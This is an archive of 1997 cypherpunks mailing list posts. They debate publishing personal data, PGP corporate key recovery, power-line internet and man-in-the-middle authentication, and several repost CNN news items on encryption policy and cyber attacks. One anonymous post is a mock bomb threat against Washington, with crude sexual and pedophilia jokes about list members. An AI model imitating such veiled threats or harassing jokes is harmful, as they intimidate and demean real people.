Sorry for the delay, but I have been working massive overtime.

On Wed, 24 Sep 1997, Adam Back wrote:

> Tom Zerucha writes:
> > On Tue, 23 Sep 1997, Declan McCullagh wrote:
> > 
> > Technically, I am arguing for property rights in reputation.  Patent
> > and copyright are already recognized property rights in information.
> 
> And this is a good thing?

Possibly, possibly not.  Declan was arguing that information cannot be
protected.  I was simply pointing out that some is.

> > How about personal information such as credit card or social security
> > numbers or even tax records - you are saying if I can get them, I should
> > be able to publish them. 
> 
> Bingo!  What you don't want published don't publish.
> 
> Don't like it?  Don't reveal information you don't want published.
> Argue for chaumian credentials.

I don't think our tax authority will accept them.  I am compelled to
publish all kinds of information about myself (unless I had a few million
dollars to go to court on each individual issue, e.g. here it is illegal
to drive without insurance, but insurers will not underwrite you unless
you give them lots of information).

I can argue for chaumian credentials all I want, but I will be thrown in
jail because people with guns don't accept them.

If you really believe this, you can engage in your own acts of civil
disobedience in your country and see if they will accept your argument.

> btw. your "you are saying if I can get them, I should be able to
> publish them." is almost a tautology -- clearly if you get information
> you _can_ publish it anonymously.  Therefore anything that is
> obtainable is not private.  

This is like saying that if you keep one million pounds sterling in a
locked safe in your house on your property, and I can break in and get it,
that it is not stealing - anything not nailed down is unclaimed property?
I am entitled to the contents of your wallet if I can get it?

But extend that now if there was a law banning safes (the authorities
don't like them), and that your assets could not be hidden, so should be
kept someplace visible from the outside, and not otherwise protected.
Under this condition should laws against theft be enforced?

> Laws claiming to regulate what you can _know_ (data protection laws)
> are dumber yet, as it is legislating that you must forget something.
> And it is unenforceable -- who knows what you have on your database.

True, but laws can force you to pay damages.  A law attempting to force
restitution for vandalism is equally impossible (you can destroy something
you cannot recreate), but that does not mean vandalism is not a crime, nor
should it be discouraged or go unpunished.

> Copyright doesn't prevent squat.  It just sets up a procedure for your
> local force monopoly to harass you if you don't follow the procedure.
> 
> > (if I remember right the Berne convention says something is still
> > protected even if no formal steps have been taken).
> 
> More laws against gravity.

Laws against theft, rape, robbery and murder do not prevent said acts, but
only tend to discourage them.

> > If you are arguing that there should be no legal protection for
> > information of any sort (including patent or copyright) I think you have a
> > point.  We then would have an equal opportunity for information piracy. 
> 
> Scrap patents and copyright.  Disband WIPO police.

Agreed, but after my state scraps its demand for insurance and information
before I can legally drive, and when the federal government stops
demanding to see all my personal data (now including medical records).

Also, things might simply go to copy-protection using strong digital
signatures and licensing terms making you responsible for any piracy of
your copy (I know, scrap contract law, common law, etc. and then the
license will simply state that we will send thugs to kill you - since
there is no government - if we see this anywhere it isn't in our opinion
supposed to be - replace government force monopoly with private enforcers
sort of like Chicago in the 1920's).  It is not that things like copyright
and patent won't be enforced, but it might be in a more chaotic and not
necessarily better matter than what the government does.  Or work
technologically restricting the information to an even greater degree (a
DVD will only play to a TV if it sees a anti-piracy DS cert).

My argument is while government can compel me to publish information I do
not want to (i.e. violates my rights), it should simultaneously compel
third parties not to forward such information (limiting the potential
damage from that violation).  Scrap both or neither.

Only arguing for repeal of laws that constrain tyrants as much as citizens
is not arguing for liberty.  In the context of a libertarian society, or
even an anarchical society your arguments make a great deal of sense.  In
the current semi-socialism/faschism prevalent now, the effect is to only
penalize me for any attempt to protect myself. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <ian.sparkes@t-online.de>
Date: Thu, 9 Oct 1997 01:31:26 +0800
To: trei@process.com
Subject: Re: Internet Via Electric Lines
Message-ID: <3.0.2.32.19971008185347.006ca108@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 12:06 08.10.97 -6, Peter Trei wrote:
>> Ian Sparkes <ian.sparkes@t-online.de>
>
>> Peter wrote:
>> >[...] Putting a few optical
>> >fibers into a power line is cheap, easy, and widely done.
>> 
>> But much cheaper and easier is using the signalling gulleys that 
run 
>> along the side of the railways - no High Tension precautions, no 
>> scaling pylons. This, incidently is the reason that a number of 
>> telecomms consortia (in europe, at least) include a railway 
element - 
>> they provide the long-haul backbone.
>
>It looks like we're seeing different parts of the problem. You're 
>worried about the long-haul backbone. I'm trying to see ways to
>get a 10Gbps fibre into my living room.
>
>The backbone cost is a tiny fraction of the cost of getting fiber
>into every house in the country. 
> 

Maybe in retrospect I was just tugging your leash a bit, for which I 
apologise.

I agree, in principle there are few entities which are more aptly 
placed than the power utilities to provide a roots to leaves high-
capacity network into your home. Telephone companies could do it, 
although the very final stage in the link (twisted copper) is a 
capacitive load, and therefore not very well suited to high 
frequencies. Power wires, on the other hand, would exhibit better 
properties and are universally installed. The solution, however, must 
be a fibre/copper hybrid. The trick will be getting the bridges 
between fibre/copper and copper/copper (across the step-downs) cheap 
and reliable enough. This is probably the breakthrough.

The post from Judith Lewis seems to hint at about 0.5MB/s. Good 
enough for your average Joe.
 
Sorry for the obtuseness of my reply.

Ian
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDu6gvzOjjBJiFUeEQIewACdGPe87UKBq7aGRkFew/02fHNBwh0AnAqN
eidJ2PV2IVO05Gg+ZSXD9NRI
=RxdS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 9 Oct 1997 01:09:08 +0800
To: cypherpunks@toad.com
Subject: Thanks Peter! / Re: russia_1.html
Message-ID: <199710081656.SAA25279@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> I conceed that it may not be the Pu decay products that cause the
> limited shelf life of thermonuclear weapons; I suspect that it may
> be components of the 'pit', which produces the initial burst of
> neutrons to kick of the reaction (the pit is effectively a small
> fission bomb). This 'pit' may contain tritium (pit design is a very
> well guarded secret, and I've seen very little about it in the open
> literature).

Peter,
  I lost your email address when I spilled Scotch on my computer and
lost all my data, so I thought I'd send this to the CypherPunks list.
 
 Thanks for explaining to me how to decide where the 'yellow' wire
goes. My 'you know what' ought to work now (but I'm not going to
try it at home, kids...heh...heh).

  I'm going to go to Washington as soon as I get my cast off. I left
in on an extra week since I make more money spare-changing since I
got it, and now I have enough to take a bus to 'you know where,' DC.

  Tell Declan that he should probably go visit his mom, or something,
like next Friday, until at least Monday (because that's when my mom
leaves Washington, 'you know where.'--{boy, is *she* going to be
sorry she grounded me on my uncle's weekend away from the 'Home'.})

  My uncle's going to be mad when he finds out I took his suitcase,
but he couldn't even get his Heathkit radio to work, and I *almost*
did. Besides, you should never trust anyone over fifteen, eh?
(And these things are dangerous in the wrong hands, eh?)

Human Gus-Peter
p.s. - Cynthia still hasn't answered me as whether or not she is
  wearing any panties. Is she stuck-up, or something?
p.p.s. - I wonder if Dimitri thinks its suspicious that your first
  name is the same as my last one. Of course, if he thought we were
  doing what John-John do, then ? the Playpus would call you a
  pedal-file, eh? (Unless you were doing it to a girl my age, and
  then he would call you a 'petal-file.') {<-- that's a sexist joke}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 9 Oct 1997 07:36:58 +0800
To: Cees de Groot <cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081601.JAA15326@toad.com>
Message-ID: <v03110731b061c3316f2b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:29 pm -0400 on 10/8/97, Cees de Groot wrote:


> Never heard how they're gonna do the steering on
> junctions, though...

Easy. Just look down the fiber and steer it. :-).

To pun something from the pipline biz, pigs *can* fly...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Oct 1997 07:37:11 +0800
To: cypherpunks@toad.com
Subject: Re: Anthrax Bombs
In-Reply-To: <v03102801b061968a67f8@[207.167.93.63]>
Message-ID: <ZL40De2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> (The Aum Shinretsu cult in Japan was working with such things, including
> Sarin, a nerve toxin. Some of the sites knocked out in Iraq were CBW sites.)

A few years ago I did several projects together with a guy who actually did
a lot of work for AUM/Russia.  I never worked with them myself, through.

P.S. One of those projects was for Baha'i.  They're quite a bunch.

"Baha'i shumnoyu tolpoyu
 Tolkali zhopoj parovoz..."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 9 Oct 1997 07:16:43 +0800
To: cypherpunks@cyberpass.net
Subject: What's really in PGP 5.5?
Message-ID: <de77e8eade35480a3e2553b5dbc0cd26@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ryan Anderson wrote:
>>What you call "fragility" is properly called "security".  Would you
>>describe 128-bit keys as more "fragile" than 40-bit keys?  Why is PGP,
>>Inc. inventing propaganda terms for the authorities?
>
>Okay, call it security but the point is, if you're protecting documents vital 
>to your company using encryption (say the design of a new product) and the 
>person who knows the passphrase dies, you've just lost a great deal of money.
>
>PGP for Business Security gives the business a way to have a backup key that 
>can read that person's information.  Frankly, it might not be able to read 
>anybody elses, from the description given.
>
>This is a feature that any business (that understands encryption) will want.
>
>They can easily store the secret keys of the other id someplace secure, and 
>never retrieve them until someone dies.  Disavow knowledge of them to 
>government, etc.  heck, the keys can even be in the primary person's 
>posession.   (Perhaps stored in a safe-deposit box, or without a passphrase, 
>etc.)

Decrypting files and decrypting messages are not the same problem.
The PGP product has SMTP support - it is explicitly designed to weaken
transmitted messages.  Just like Clipper.

[Jon Callas wrote:]
>>It is fascinating to me that every example you use does not involve
>>decrypting transmitted messages.  Yet, that is the feature which is
>>under discussion.
>
>Amazingly, he gave an example where, had encryption been used, the
>project would have stopped, and restarted because the person with the
>keys was incapacitated.  Are you just being combative here?

No.  I am making the distinction between files and messages.

It is quite easy to use a key for encrypting files which is different
from encrypting your messages.  The key for encrypting files can then
given to the appropriate company officer.  It has been possible to use
PGP in this mode forever.

What is new is the feature set which will make it very easy to impose
GAK on the customers of PGP.  According to Mr. Schneier, the code is
just sitting there in all their products waiting to be compiled in.

>>The demand for the ability to decrypt encrypted messages in the
>>corporate environment can easily be measured with this test: how
>>many companies have a policy that requires employees to record all
>>outgoing mail?
>
>Well, any company giving stock advice (and governed by SEC rules on
>stock tips, etc.) is already require to have all outgoing mail
>approved (e-mail and snail), so does it matter if they record it or
>not?

The answer to the question I posed is "No".  The example you cite
requires the company to review message before transmission, not
afterward.

After transmission, the recipient of the message can submit it as
evidence to the SEC should there be an impropriety.  This is no
different from the way it works now.

There is probably a context issue here.  It sounds like you do not
share the context within which many people on this list are operating.

The Big Problem for PGP, Inc. right now is that in 18 months or so
their products may be illegal to use within the United States.  While
many of the rank and file in the company may be willing to accept
corporate dissolution under those circumstances, the board, the
investors, and the senior management are unlikely to welcome that
option.

So, they are preparing for that situation.  They are releasing
products with GAK support right now.  By the time it becomes mandated
by law, it will be easy to compile the well tested features into all
of the products, or just discontinue their line of privacy products
and sell only their Big Brother Inside products.

The corporate key becomes the government key with the stroke of a pen.

PGP, Inc. is betting that they'll win either way.  If GAK goes down in
flames again, they can still trade on their reputation for being The
Good Guys.  If GAK becomes mandated by law: "We didn't want to do it,
but we had no choice."

Some of us may be in the habit of thinking of PGP, Inc. as the hero.
However, the problem with organizations is that they are easily
corrupted.

Does this mean everybody in the organization is now working for the
government?  No, it does not.  Most likely there are many PGP, Inc.
employees who are feeling uncomfortable with this new development but
they are being given the same lines we are getting.  Many of these
people are probably getting an additional "inside scoop" from their
leaders that explains the "real" strategy.  Hopefully, the rank and
file at PGP knows that people you like and see in the hallways every
day will still lie to you if they think their career depends on it.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDuw65aWtjSmRH/5AQGwLgf7BBYy2HO30eDXO2YLqkgtuOxAcnQU19AO
DOKIa3jwU723ICgWD00dPW1GegKL5LaRfp3a+Xtd+qjHaFs0IlXr4kJGv1wiCJhu
sRKxmSi3g1aGIfiF48uMef5bbzPL27b3u78rJds+E44LP9zEnieBcACBp+3977W0
0N0k7ADY6ME+zmc4f5D5aLdJa8gprOCPj1nF6esspkMuDDu5iH/YY/GT6VprRCub
NojEXPS/uB6tgTS4vDfenL8UWUUqjXQof8MrRoMAG6dsjvNEyU5WlhbnDgyh9nF5
DbuP9+oA8DHYSmEGzTxD4oG7mGwb+NMMuYOyg3xC1H8ou2Ajv0kfOg==
=UtlQ
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "THE DUKE" <pleontks@hotmail.com>
Date: Thu, 9 Oct 1997 10:44:49 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19971009023118.27488.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Have you ever realized that this list is for straight-up (used loosely) 
losers?

The government is not planning to murder everyone.  The Government is 
not keeping aliens in the 'basement'.  The X-Files are not real.  The 
government is not murdering public figures, and setting-up pore, 
civilian saps to take the fall.  The only thing that the Government is 
doing is running our country the best it can.

All you are doing for the Government, is finding fault and conspiracy in 
every action.  You are destroying the Government, and are thereby 
destroying America.

By even being a part of this list, you are confirming to the 
mindlessness that you so hard are trying not to do.

None of you have my pity.  I spit upon you all.

THE.DUKE
pleontks@hotmail.com
http://www.angelfire.com/az/69frank69

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shabbir@democracy.net (Shabbir J. Safdar)
Date: Thu, 9 Oct 1997 08:14:55 +0800
To: cypherpunks@toad.com
Subject: Starting now, online town hall meeting with Rep. Dreier at www.democracy.net
Message-ID: <199710082353.TAA01680@panix4.panix.com>
MIME-Version: 1.0
Content-Type: text/plain




In just a few minutes, we'll be starting the online town hall meeting with
Rep. David Dreier (R-CA). 

Dreier is a key member of Congress for the net community: he's on the
Rules committee, which has the fate of SAFE in its hands.  He's also been
a leader in integrating Congressional committees and the net.

Check it out http://www.democracy.net/

-Shabbir





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 9 Oct 1997 11:08:36 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: computationally infeasible jobs for MITMs (Re: Secure phone)
In-Reply-To: <3.0.3.32.19971008132417.00b0c6d0@labg30>
Message-ID: <3.0.3.32.19971008202940.0099f800@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 11:48 PM 10/8/97 +0100, Adam Back wrote:
>I wonder if we can come up with a way to formalise this technique and
>automate it.  I think it was James voiced something similar earlier in
>the thread.

I think that's the problem:  once it's formalized and automated, it's
spoofable by a MITM.  The informal, "Hi Adam, my first digit's the third
digit of your phone number today, how's your end?" type of query, perhaps
made before or after the entire "I've got 78F, what's yours?" sequence, is
going to remain secure.  If we assume the MITM can spoof your digits, he
can also spoof a whole query without weird digit splicing in the middle.
It's like the cartoon cat looking the cartoon dog image in the mirror,
waving and trying to trick the image.  You can attempt to outmaneuver a
MITM with trick questions which will almost certainly expose him, but if
the stakes are high enough...where there's a will, there was a dead body.

Without some external reference, be it the knowledge of the public key of
the other participant, or using a trusted arbitrator, keyserver or
whatever, I don't think you *can* mathematically authenticate the other
end.  The MITM with full knowledge will always be able to reconstruct the
proper replies.  Your best defenses will be:
    1) External (out-of-band) authentication, as in a PGP key
       signing party, or even just having Bob's key fingerprint
       from a piece of e-mail posted to cypherpunks a year ago.
    2) Wetware outclevering the MITM.

Re:  your noise introduction protocol.  Cute idea, but what if Mallory
simply audio-couples his two phones together along with a noise compander
circuit a la Dolby?  That kind of noise is precisely what the simple
electronic filters can remove, and the digital portion is passed via the
coupling computer system (the one that spoofs the voices.)

"Hey, Bob, I think we've got a MITM!  This connection is too clear!"  :-)

I think the hardest to defeat will be the case where Mallory hires Alicia
and Bobby to impersonate Alice and Bob to each other.  
Alice <---------------------------> Bob  (what they think is happening)
Alice <---> Bobby______Alicia <---> Bob  (what actually is happening)
           /                 \
          under Mallory's control

where Bobby and Alicia have the translator's gift of speaking while
listening.  They could fill in the cracks with idle chatter, have their own
personalities, and basically run both shows.  They could even run offline
from each other, being intelligent humans.  As long as Alice and Bob only
communicate through Mallory's intermediaries (i.e. never meet in real life,
out-of-band), Mallory owns the show.  (Tell me you've never seen something
like that on a rerun of _Mission_Impossible_!  :-)

Would you know if you were talking to the REAL John Deters?  All I could
assume about you is that if my phone rang and a voice claimed to be Adam
Back, I'd expect to hear it in a British accent, and with just a bit of
time delay so I'd know it was coming across the Atlantic.  About 50 million
people could pass themselves off as you today, and I'd never know the
difference.  I can't even tell a Liverpool accent from a London accent!
And if I had a voice recognition system, well, then I'd hope if I was
taking a voice sample from you that I'd be smart enough to exchange public
keys so we could do our authentication the right way.

Again, my position is:
  o  internal authentication is *not* information-theoretically possible; 
  o  out-of-band authentication *can be* theoretically secure;
  o  MITM attacks are *almost* infeasible, and *always* expensive; and
  o  if you still suspect a MITM after trying to outwit one, you're just
     being paranoid.  Stop it.

John

P.S.  Even if I exchanged PGP keys with you face-to-face, compared picture
ID's, checked your fingerprints, read a signed letter from your Mom (moms
don't lie,) and *knowing* that you are indeed Adam Back, I still won't know
if you work for MI-5 or not!  Nothing's perfect, so lets take what we can
get.
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 11:11:38 +0800
To: cypherpunks@ssz.com
Subject: alt_index.html
Message-ID: <199710090152.UAA15435@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   October 8, 1997 -- Updated 9:03 p.m. EDT (0103 GMT) TEXT - ONLY
   VERSION
   MORE NEWS
   
Fund-raising flap

   
   
   Campaign finance is getting a thorough airing on Capitol Hill. While
   the Senate's hearing into President Clinton's 1996 campaign funding
   continued Wednesday with a feisty appearance by Harold Ickes, the
   House kicked off its own probe. And the president defended his staff
   as he headed off for a day of fund-raising.
   
     * Senators grill Ickes
     * Fund-raisers may testify in House hearing
     * Clinton replies to Thompson
       
   
   Pathfinder data shows Mars may have crust, core
   
     _________________________________________________________________
   
   House approves late-term abortion ban bill
   
     _________________________________________________________________
   
   
   Army to court-martial Sergeant-Major McKinney
   
   
   
   
   
   
     _________________________________________________________________
   
   What's on CNN
   
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     U. S.               
     * U.S. designates 30 groups as terrorist
     * Police: Teen hid newborn at home for 2 1/2 weeks
     * Poll: Most believe Clinton practiced illegal or unethical
       fund-raising
     * Georgian diplomat admits guilt in teen's traffic death
     * In other news...
       
     A L L P O L I T I C S   
     * Jackson named U.S. envoy to Africa
     * Clinton to propose IRS citizens' panel
     * Lawyer dismisses Jones' claim that Clinton has 'distinguishing
       characteristics' 
       
     C N N f n    
     * Family of boy ejected from Chrysler minivan awarded $260 million 
     * Greenspan sacks market 
     * Pow! Marvel-Chase deal falls through
     * EU stumps for encryption
       
     H E A L T H    
     * Meat industry wants irradiation, not tougher penalties
       
     T H E   T E R R Y
     N I C H O L S   T R I A L
     * Nichols' case may be toughest yet for defense attorney
     * Lawyer changes mind to lead Nichols' prosecution
     * No nonsense Matsch returns to preside over second trial
       
     V I E W S      
     * Bill Mitchell's cartoon: President fitted for hearing aid 
     * AllPolitics: Pundits and Prose
       
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     * Tropical air bathes the East
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     C U S T O M   N E W S
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     * Croat war crime suspects plead not guilty
       
     C N N / S I     
     * Glavine great as Braves even series with 7-1 win
     * Dolphins pick up Miami grad Perriman 
     * Carolina QB Collins airs frustrations
     * Report: Edmonton Oilers to Houston? 
       
     S C I - T E C H   
     * Supply ship successfully docks with Mir
     * U.S. seen as open to cyber attack
       
     S P E C I A L S   
     * U.S. Supreme Court 1997-1998 session
     * Princess Diana: A nation mourns
     * Repairing Mir
     * Destination Mars: Pictures and panoramas
       
     W H E E L S    
     * Auto Hall of Fame comes home to Michigan
       
     S H O W B I Z
     * NBC, CBS and ABC missing something in common: viewers
     * Review: 'A Thousand Acres' the harvest of a lousy script 
     * Arthur Tracy, famed radio 'Street Singer,' dies at 98
     * National Endowment for Arts head leaving post
       
     T R A V E L    
     * Just stop a minute and take a look at fall 
     * See our Rocky Mountain Fall slideshow!
     * Wyland's whale murals come to Chicago
     * Destinations: A drive on the wild side of Washington
       
     V I D E O   V A U L T    
     * EU ban on animal parts upsetting Greek appetites
       
     F R I N G E    
     * City streets stay steamed
       
     S T Y L E
     * Milan, fashion world await Versace show
     * Sonya Rykiel: Sexy androgyny
       
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 11:06:43 +0800
To: cypherpunks@ssz.com
Subject: http:--allpolitics.com-1997-10-08-email-clinton.irs-
Message-ID: <199710090154.UAA15480@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    AllPolitics 
   
   Bulletin Board
   Join a thread, start a thread -- it's your chance to sound off!
   
   Infoseek search 
   __________
   ______  Help
   Navigation
   E-mail From Washington
   
   
   From: John King/CNN White House correspondent
   In: Philadelphia, Pa.
   Posted 10-8-97
   
   
   Subject: Clinton to propose IRS citizens panel on Friday
   
   After weeks of Republican criticism that he was defending the Internal
   Revenue Service, sources tell CNN that President Bill Clinton on
   Friday will propose creating national and regional citizens boards to
   handle taxpayer complaints against the agency.
   
   Clinton's citizens panels would not have as much authority over the
   IRS as most Republicans prefer. But the White House believes the
   proposal will give the president cover.
   
   Under the Clinton plan, a national citizens panel would be created to
   serve as a forum for oversight and to handle taxpayer complaints.
   Similar panels would be created to serve as complaint clearinghouses
   for each of the IRS' three dozen regional offices.
   
   An administration official tells CNN that Clinton will also commit to
   internal IRS reforms designed to make the agency more efficient.
   
   The administration move comes after sharp complaints from
   congressional Democrats and White House political advisers who worried
   that the administration appeared to be defending the agency during
   Republican-called hearings that highlighted taxpayer complaints.
     _________________________________________________________________
   
In Other News:

  Wednesday Oct. 8, 1997
  
   
   
   •/BIG> Senators Grill Ickes On Democratic Fund-Raising
   •/BIG> Democratic Fund-Raisers Will Testify If Immunized
   •/BIG> Bennett: No 'Distinguishing Characteristics'
   •/BIG> Clinton Replies To Thompson
   •/BIG> Jackson Named U.S. Envoy To Africa
   •/BIG> House Approves Abortion Ban Bill
   •/BIG> Maine Gov. To Run For Second Term
   •/BIG> Foley Approved As Envoy To Japan
   •/BIG> Congress May OK New Dollar Coin
   •/BIG> Lott: Campaign Finance Bill Dead
   •/BIG> Analysis: Selling Access Is Political Secret
   •/BIG> Republicans Ride Anti-IRS Sentiment
   •/BIG> Babbitt Casino Comments Mulled
   •/BIG> GOP Seizes On Education Vouchers
   
   
   E-Mail From Washington:
   •/BIG> Clinton To Propose IRS Citizens' Panel On Friday
   •/BIG> White House Works To Shore Up Democratic Fast Track Support
   •/BIG> Lott: Fund-Raising Investigation May Be Extended
   
   
   News Briefs:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 11:07:27 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-wires-9710-08-encrypt_wg-
Message-ID: <199710090154.UAA15503@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Nortel Power Networks. Click Here. [INLINE] Digital Jam graphic 
   EU stumps for encryption
   
   
   Commission urges U.S. to take 'hands
   off' approach on regulations
   
   October 8, 1997: 3:17 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Encryption fight rolls on - Sept. 15, 1997
   
   
   Infoseek search 
   __________
   ____  ____
   BRUSSELS (Reuter) - European officials urged governments, including
   the United States, on Wednesday to take a "hands off" approach to
   regulating the technology needed to ensure that Internet transactions
   are confidential.
   [INLINE] "If regulation at all is needed, it should be very light," a
   top telecommunications commission official said, presenting a report
   on how the European Union should promote security on the Internet.
   [INLINE] EU Telecommunications Commissioner Martin Bangemann told
   reporters that strict controls would end up penalizing law-abiding
   users rather than the criminals they targeted.
   [INLINE] He added that the United States, which restricts exports of
   certain strong encryption products, was becoming isolated on the
   issue. "We must engage in a debate with the Americans at an
   international level," he told a news conference.
   [INLINE] The commission's report addressed the use of encryption and
   "digital signatures" -- electronic seals that are attached to
   transmissions to allow recipients to verify their origin and ensure
   that they have not been tampered with.
   [INLINE] It urged the EU to take a common approach to the questions,
   saying otherwise cross-border Internet trade could be hampered. It
   said it would propose legislation on "digital signatures" in the first
   half of 1998.
   [INLINE] Encryption has become a contentious issue because some
   governments and law enforcement authorities want to regulate it as a
   way to keep it out of the hands of terrorists and other criminals.
   France has virtually outlawed use of encryption software.
   [INLINE] But the commission said controls could impede the growth of a
   technology that is essential to promoting business over the Internet
   and would likely not work anyway.
   [INLINE] "It's not possible to prevent criminals from using modern
   technologies in order to protect themselves and their messages from
   the police," Bangemann said. "There's not much point in preventing
   legal users from having access to this."
   [INLINE] In addition to its export controls, the United States is
   discussing legislation that would restrict encryption technology
   domestically, for example by requiring systems that would allow law
   enforcement authorities to tap into electronic transmissions.
   [INLINE] Bangemann renewed his push for a global charter on the
   Internet that would address questions such as encryption, noting that
   the United States had already expressed interest in the idea.
   [INLINE] The Commission said EU legislation on digital signatures
   would address questions such as legal recognition of signatures,
   liability, technical requirements and certification authorities (CAs).
   [INLINE] CAs hold information that allow recipients to confirm the
   identity of the person that has sent a transmission.
   [INLINE] It said it would look askance at national restrictions on
   encryption, however. "Instead of introducing or maintaining rather
   inefficient but cumbersome restrictions, the Commission invites member
   states to enhance cooperation of police forces on a European and
   international level," it said. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright 1997 Reuters. All rights reserved. This material may not be
   published, broadcast, rewritten, or redistributed.
   
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 11:11:07 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710090156.UAA15535@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM AS/400 rule
   
                       U.S. SEEN AS OPEN TO CYBER ATTACK
                                       
     Cyber Warfare graphic October 8, 1997
     Web posted at: 3:46 p.m. EDT (1946 GMT)
     
     BALTIMORE (AP) -- Suddenly, electric power goes off. Or telephones
     go dead. There's chaos in the electronic banking system. Are the
     incidents electronic accidents, or deliberate attacks?
     
     Computer security experts from government and private industry
     voiced agreement Tuesday that as the most technologically advanced
     society in the world, the United States is uniquely vulnerable to
     electronic attack.
     
     How soon the threat would be real and what could be done to block it
     were principal topics of discussion on the opening day of the
     National Information Systems Security Conference.
     
     "Our profound vulnerability is growing on a daily basis," said
     Charles Abzug of the Institute for Computer and Information
     Sciences. "Since our society is the most technologically advanced in
     the world, we are more vulnerable than anyone else."
     
     Robert Marsh, a retired Air Force general who is chairman of the
     President's Commission on Critical Infrastructure Protection, told
     the conference that "while a catastrophic cyber attack has not
     occurred, we have enough isolated incidents to know that the
     potential for disaster is real and the time to act is now."
     
     The commission is expected to send its report to the White House
     next week. Marsh said the panel would recommend far greater
     cooperation and sharing of information between government and
     private industry, accelerated research and a nationwide program to
     educate people on the scope of the problem.
     
     But questions were quickly raised as to how much information the
     government could share from a report that is classified.
     
     "We have to solve this dilemma because if we don't, we have no
     sharing of information," said Thomas J. Falvey, a commission member
     who is a security expert at the Transportation Department.
     
     Marsh conceded in an interview that there will be a need to break
     down reluctance within industry and government to share sensitive
     information.
     
     He said there is a need to "devise the means by which the private
     sector can in fact be willing to share its information and not fear
     that it will leak."
     
     At the same time, the government "is going to have to recognize that
     in this new era, it's the private sector that needs some of this
     threat information and this warning information."
     
     As examples of cyber attacks already experienced, Marsh cited
     incidents at Langley Air Force Base in Virginia and Griffis Air
     Force Base in Rome, New York.
     
     "A flood of e-mail messages originating in Australia and Estonia,
     and routed through the White House computer system, virtually shut
     down Langley air base's e-mail for hours," he said.
     
     Someone in England routing messages through Latvia, Colombia and
     Chile and commercial Internet service providers gained access to
     computers at Rome Laboratory at Griffis and "launched attacks
     against a wide array of defense and government computer systems,"
     Marsh said.
     
     One of the difficulties in such cases is determining whether it is
     the work of a mischievous hacker or an attack by a hostile
     government.
     
     "If Iran attacked AT&T, how does AT&T know that's an act of war
     rather than some kid fooling around?" asked John Pescatore, a senior
